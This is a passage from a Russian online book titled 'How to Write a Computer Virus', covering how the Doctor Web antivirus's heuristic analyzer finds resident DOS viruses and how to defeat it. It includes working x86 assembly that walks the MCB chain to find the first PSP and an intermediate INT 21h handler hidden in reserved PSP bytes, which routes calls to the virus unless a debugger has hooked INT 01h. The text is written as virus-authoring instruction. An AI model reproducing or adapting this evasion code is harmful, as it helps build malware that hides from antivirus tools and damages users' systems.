Главная · Поиск книг · Поступления книг · Top 40 · Форумы · Ссылки · Читатели

Настройка текста
Перенос строк


    Прохождения игр    
Demon's Souls |#13| Storm King
Demon's Souls |#12| Old Monk & Old Hero
Demon's Souls |#11| Мaneater part 2
Demon's Souls |#10| Мaneater (part 1)

Другие игры...


liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня
Rambler's Top100
Образование - Коваль И. Весь текст 308.41 Kb

Как написать компьютерный вирус

Предыдущая страница Следующая страница
1 ... 9 10 11 12 13 14 15  16 17 18 19 20 21 22 ... 27
    сказано .Но есть несколько весьма интересных и за-
    служивающих вашего внимания вопросов,о которых по-
    чти не упоминается в литературе .Речь идет о  пос-
    троении вирусов,  " невидимых "  для  антивирусных
    программ.В самом деле,один - единственный  "обыск"
    с помощью программы DOCTOR WEB на диске или в  па-
    мяти может свести все наши усилия к нулю . Поэтому
    самое время поговорить о способах скрытия  вирусом
    своего наличия в вычислительной системе .
    Технику  защиты вирусной программы от  обнаружения
    мы рассмотрим на примере всем известного антивиру-
    са DOCTOR WEB.Именно эта программа является наибо-
    лее удачной и используемой.
    Как вы знаете, для обнаружения неизвестных вирусов
    DOCTOR WEB использует так называемый эвристический
    анализатор, моделирующий действия человека, желаю-
    щего обнаружить новый вирус.
    Все изложенное  ниже базируется на следующем пред-
    положении :эвристический  анализатор, по существу,
    представляет собой комбинацию пошагового отладчика
    и программы, анализирующей результаты его работы .
    Перейдем  к делу . Если вы  " заразите " ваш  ком-
    пьютер написанным ранее резидентным COM - вирусом,
    а потом запустите DOCTOR WEB ( режим  тестирования
    памяти должен быть включен ), то вирус будет обна-
    ружен как неизвестный резидентный .Кроме того, ан-
    тивирусная программа определит адрес в памяти,  по
    которому находится вирусный код . Если вы просмот-
    рите содержимое памяти по этому адресу,то увидите,
    что DOCTOR WEB " ошибся ".А именно - по указанному
    адресу расположен собственно не сам вирус,а только
    его обработчик прерывания INT 21h.На остальные ви-
    русные обработчики антивирус не обратил внимания .
    Исходя из этого можно сделать такие выводы :

    1.) Эвристический  анализатор определяет, на какой
        адрес  указывает  вектор прерывания  INT 21h в
        таблице векторов .

    2.) Далее вступают в действие следующие  соображе-
        ния : Обработчик прерывания INT 21h почти  ни-
        когда не может находиться в самых младших (на-
        пример,в области данных BIOS) или в самых ста-
        рших (например, в последнем сегменте)  адресах
        основной памяти .Поэтому при обнаружении такой
        ситуации эвристический анализатор считает, что
        система заражена неизвестным вирусом,и в каче-
        стве адреса,  по которому расположен его код ,
        выдает адрес обработчика INT 21h .

    Как видим, все не так уже и сложно.Далее пользова-
    тель должен решать сам,действительно ли вирус при-
    сутствует в его компьютере. Отметим, что для реше-
    ния  этого вопроса  нужно  иметь довольно  высокую
    квалификацию, поэтому для подавляющего большинства
    пользователей задача представляется неразрешимой.


              2.3 Как реализовать защиту от
                 эвристического анализа

    Очевидно, вирус не будет найден в памяти,если раз-
    местить обработчик INT 21h в той ее части, в кото-
    рую загружаются пользовательские программы .С дру-
    гой стороны, наш вирус помещает  свой код в  самые
    старшие адреса основной памяти . Единственным  вы-
    ходом из положения было бы написание обработчика ,
    состоящего из двух частей. При этом "первая" часть
    должна загружаться в область памяти,выделенную для
    загрузки прикладных программ,а "вторую" - вместе с
    остальной частью вируса - следует записать в стар-
    шие адреса основной памяти .В случае возникновения
    прерывания INT 21h управление  будет  передаваться
    первой части, которая затем передаст его второй.
    К сожалению, данный метод себя не оправдывает.DOC-
    TOR WEB  в процессе эвристического анализа  просто
    трассирует обработчик INT 21h до входа в его исхо-
    дный ( системный )  код,  одновременно контролируя
    адрес обработчика, и при получении любых  подозри-
    тельных результатов выдает сообщение о наличии не-
    известного вируса .Поэтому необходимо сделать так,
    чтобы при трассировании "первой" части под  управ-
    лением отладчика вызывался системный обработчик, а
    при "нормальном" трассировании - вирусный ( экспе-
    рименты показывают,что DOCTOR WEB,вероятнее всего,
    содержит встроенный отладчик) .Для реализации ука-
    занного метода можно использовать особенность мик-
    ропроцессора, состоящую в наличии очереди команд .
    Однако этот путь по  существу является  тупиковым,
    так как вирус, реализующий такой алгоритм,не будет
    работать  на процессорах  PENTIUM из-за наличия  в
    последних так  называемой системы  прогнозирования
    переходов. Мы же поступим по другому.Как вы знаете
    все отладчики интенсивно используют прерывание 01h
    ( One Step ),обработчик которого останавливает ра-
    боту  микропроцессора  после выполнения каждой ко-
    манды. Поэтому  естественно  предположить, что для
    проведения эвристического анализа DOCTOR WEB уста-
    навливает собственный обработчик Int 01h,а значит,
    заменяет  адрес  системного обработчика в  таблице
    векторов прерываний.На факт замены этого адреса мы
    и будем  ориентироваться. Экспериментальным  путем
    было установлено, что системный обработчик Int 01h
    находится  в памяти по  такому адресу : 0070:XXXX.
    Следовательно, достаточно проверить сегментный ад-
    рес обработчика Int 01h, чтобы сказать, перехваче-
    но-ли это прерывание  какой-нибудь прикладной про-
    граммой.
    Следующая проблема,возникающая при построении про-
    граммы обработки прерывания из двух частей, состо-
    ит вот в чем: непонятно, куда именно следует поме-
    стить " первую " часть,чтобы она не затиралась при
    загрузке программ  и их работе, и не была бы видна
    с помощью, например, VC.COM или RELEASE.
    Многочисленными экспериментами  было установлено ,
    что для размещения участка обработчика прерывания,
    ответственного за " обман " эвристического  анали-
    затора, можно использовать байты с 38h по 5Ch,при-
    надлежащие PSP первой загруженной в память програ-
    ммы .Эти байты зарезервированы разработчиками опе-
    рационной системы, вероятно,для будущих ее версий,
    и их значения остаются постоянными в течение всего
    сеанса работы компьютера .Кроме того, зарезервиро-
    ванного пространства в PSP вполне хватит для  раз-
    мещения программы обработки прерывания .
    Итак, можно предложить следующий алгоритм :

    1.) Отыскивается PSP  первой загруженной в  память
        программы .

    2.) В байты 38h - 5Ch записывается код  " промежу-
        точного " обработчика прерывания INT 21h .Этот
        код  должен вызывать  системный обработчик при
        работе под управлением отладчика и  вирусный в
        противном случае .

    *   На самом деле можно использовать и другие  об-
        ласти PSP, расположенные после байта со смеще-
        нием 5Ch ( примерно 32 байта - без всяких пос-
        ледствий. ).

    3.) В таблице  векторов прерываний  вектор INT 21h
        заменяется на точку входа в промежуточный  об-
        работчик .

    Вот, собственно, и все .


           2.4 Реализуем предложенный алгоритм

    Как мы договорились,сначала следует найти PSP пер-
    вой загруженной в память программы .Это можно сде-
    лать следующим образом :

    find_psp:  push es                ;Найдем первый
               xor di,di              ;PSP в памяти
               xor ax,ax

    to_new_seg:inc ax
               mov es,ax
               cmp ax,0ffffh          ;Этот сегмент -
               jae free_mem           ;последний ?
	       cmp byte ptr es:[di],4dh
                                      ;Это - MCB -
                                      ;блок ?
	       jne to_new_seg         ;Нет !
    to_test:   mov bx,ax              ;Да !
               add bx,es:[di+3]
               inc bx
               mov es,bx
               cmp byte ptr es:[di],4dh
                                      ;Следующий MCB
                                      ;корректен ?
               je  restore_es         ;Да !
               cmp byte ptr es:[di],5ah
               jne to_new_seg         ;Нет !
    restore_es:mov es,ax
            cmp word ptr es:[di+1],0  ;MCB свободен ?
               je to_new_seg          ;Да !
               mov bx,es
               inc bx
               cmp es:[di+1],bx
               jne to_new_seg
       cmp byte ptr es:[di+10h],0cdh  ;После MCB сле-
                                      ;дует PSP ?
               jne to_new_seg         ;Нет - тогда он
                                      ;нас не интере-
                                      ;сует ...
               mov first_psp,es       ;Да - найдена
               mov cx,es              ;нужная нам
               dec es_save            ;область памяти
               cmp es_save,cx         ;А может, мы на-
                                      ;шли свой же
                                      ;PSP ?
               jne add_05h            ;Нет !
               pop es
               jmp fresh_input        ;Да !
    add_05h:   add first_psp,05h

    Напомним, что  PSP  располагается в  памяти  сразу
    вслед за MCB - блоком,выделенным операционной сис-
    темой для загрузки программы, а первым байтом  PSP
    должно быть число 0CDh, что и используется в  при-
    веденном фрагменте .
    Дополнительно следует рассмотреть следующую ситуа-
    цию : обычно первым  PSP в памяти является PSP ко-
    мандного процессора COMMAND.COM . Но при некоторых
    конфигурациях операционой системы  (например,  при
    использовании WINDOWS 95 в режиме эмуляции MS DOS)
    это правило иногда не соблюдается .Может случиться
    так, что первой в файле  AUTOEXEC.BAT для загрузки
    указана нерезидентная EXE - программа,  зараженная
    нашим вирусом.При старте этой программы вирус фак-
    тически отыщет ее же PSP и запишет туда текст про-
    межуточного обработчика  INT 21h . Далее программа
    нерезидентно завершится, после чего занимаемая  ею
    память будет использована другими программами, по-
    этому наш  промежуточный обработчик будет затерт ,
    и компьютер обязательно повиснет . Чтобы этого  не
    произошло, вирус проверяет,  какой именно PSP  был
    найден первым,  и  если имела место описанная выше
    ситуация, отказывается от заражения памяти .
    В остальном работа фрагмента ясна .


           2.5 Пишем промежуточный обработчик

    Теперь следует написать " промежуточный " обработ-
    чик прерывания INT 21h,который должен вызывать си-
    стемный или вирусный обработчики данного  прерыва-
    ния в зависимости от режима работы процессора .Эту
    задачу можно решить, например, так :

    to_bios:   push ax                ;Текст  промежу-
                                      ;точного
               push ds                ;обработчика
                                      ;INT 21h ...
               pushf
               xor ax,ax
               mov ds,ax
    cmp word ptr ds:[0006h],0070h     ;Int 01h пере-
                                      ;хвачено ?
               jne cs:uuuuu           ;JMP на  систем-
                                      ;ный или вирус-
                                      ;ный обработчики
                                      ;INT 21h ...
               popf
               pop ds
               pop ax
               db 0eah                ;На вирусный ...
    our_21h_ip dw to_new_21h
    our_21h_cs dw 00h
    uuuuu:     popf
               pop ds
               pop ax
               db 0eah                ;На системный...
    sys_21h_ip dw 00h
    sys_21h_cs dw 00h

    code_len equ $ - to_bios          ;Длина обработ-
                                      ;чика

    Данный фрагмент написан  настолько просто, что ни-
    каких пояснений по поводу его работы не требуется.
Предыдущая страница Следующая страница
1 ... 9 10 11 12 13 14 15  16 17 18 19 20 21 22 ... 27
Ваша оценка:
Комментарий:
  Подпись:
(Чтобы комментарии всегда подписывались Вашим именем, можете зарегистрироваться в Клубе читателей)
  Сайт:
 
Комментарии (9)

Реклама